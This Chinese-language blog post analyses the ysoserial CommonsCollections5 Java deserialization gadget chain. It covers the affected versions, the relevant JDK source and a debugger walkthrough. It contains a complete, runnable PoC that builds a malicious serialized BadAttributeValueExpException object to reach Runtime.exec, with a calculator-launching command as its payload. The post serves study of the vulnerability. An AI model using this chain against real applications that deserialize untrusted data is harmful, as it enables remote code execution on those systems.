Ysoserial Commons Collections5分析
Ysoserial Commons Collections5分析
写在前面
CommonsCollections Gadget Chains | CommonsCollection Version | JDK Version | Note |
---|---|---|---|
CommonsCollections1 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | |
CommonsCollections2 | CommonsCollections 4.0 | 暂无限制 | javassist |
CommonsCollections3 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | javassist |
CommonsCollections4 | CommonsCollections 4.0 | 暂无限制 | javassist |
CommonsCollections5 | CommonsCollections 3.1 - 3.2.1 | 1.8 8u76(实测8u181也可) |
参考yso项目给CC5链的注释
This only works in JDK 8u76 and WITHOUT a security manager
同时需要关闭security manager
,关于这个可以参照官网
A security manager is an object that defines a security policy for an application. This policy specifies actions that are unsafe or sensitive. Any actions not allowed by the security policy cause a
SecurityException
to be thrown. An application can also query its security manager to discover which actions are allowed.当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。
个人理解:首先这个 security manager 也是个对象,通过
System.getSecurityManager()
可以拿到当前的 security manager ,如果该方法返回null,则当前 security manager 为关闭状态。
Gadget Chain
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
前置知识
BadAttributeValueExpException
Thrown when an invalid MBean attribute is passed to a query constructing method. This exception is used internally by JMX during the evaluation of a query. User code does not usually
在查询构造方法时传入了一个无效的MBean会抛出此异常
注意该类的2个方法:有参构造、readObejct
有参构造
主要是对属性val
做处理,如果传入的对象为null则给属性val赋值为null;否则调用toString()
将返回值赋值给val
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
readObject()
在if else中对是否开启security manager做了判断,如果关闭了(System.getSecurityManager()=null)则调用上面获取到的valObj的toString方法
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
TiedMapEntry
getValue()
该方法会调用该类中map属性的get()方法;也就是后续poc中利用此处来进入LazyMap.get()
调用其有参构造方法时,可以对map属性进行赋值
PoC分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
前面部分与CC1一致就不再详细展开了,从new TiedMapEntry
开始。
参照TiedMapEntry类的有参构造方法,new的时候会给this.map
赋值map;this.key
赋值123。问题1:为什么这样构造?
之后new了一个BadAttributeValueExpException对象,调用的有参构造且让val为1。问题2:为什么需要给val一个值?
反射获取BadAttributeValueExpException.val并将tiedmap赋值给val带入到上面生成的BadAttributeValueExpException对象poc
问题3:为什么要通过反射进行对val的赋值?前面也看了BadAttributeValueExpException类中的有参构造方法,当传入的参数不为null时会触发toString()放法导致在本地就会RCE一次。
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
调试分析
在BadAttributeValueExpException#readObject下断点,debug
这里注意过了Object valObj = gf.get("val", null);
这行代码后就会触发RCE,这里参考了李三师傅文章的解释(个人感觉李三师傅的配图标注可能有笔误,个人总感觉是gf.get触发的,李三师傅图中的是if那里)
大致意思是在打印valObj这个变量时会触发toString方法进而RCE了。(所以在调试的时候,在调试到最后之前应该会触发两次RCE 😄)
该重写的readObject方法中,在前两行代码卡了比较久,首先这里是先通过readFields()
方法拿到了序列化对象的属性,再通过get()
方法拿到该属性的属性值。也就是在poc中通过反射获取了BadAttributeValueExpException.val
属性,并赋值了一个TiedMapEntry的对象tiedmap,这里拿到的就是tiedmap,这里也可以参考着看Variables。
后续则是对改值进行了判断,最终走入第二个else if中调用了TiedMapEntry#toString()方法
跟进getValue()
之后进入了我们熟悉的LazyMap.get()
在51行初下断点,F9进入ChainedTransformer#transform方法
后续就是CC1中的知识点了,循环4次
第一次走ConstantTransformer#transform方法拿到Runtime的class对象,作为参数传入第二次循环
第二次走InvokerTransformer#transform方法反射拿到getRuntime方法,作为参数传入第三次循环
第三次走InvokerTransformer#transform方法反射调用invoke执行getRuntime方法获得Runtime的实例化对象,作为参数传入第四次循环
第四次走InvokerTransformer#transform方法反射调用exec参数为弹计算器的命令实现命令执行
End
总的来说与CC1对比的话,入口点部分被替换为了BadAttributeValueExpException.readObject()
并通过构造poc进入else if中调用TiedMapEntry.toString()
进而走到LazyMap.get()
后续套用CC1部分即可。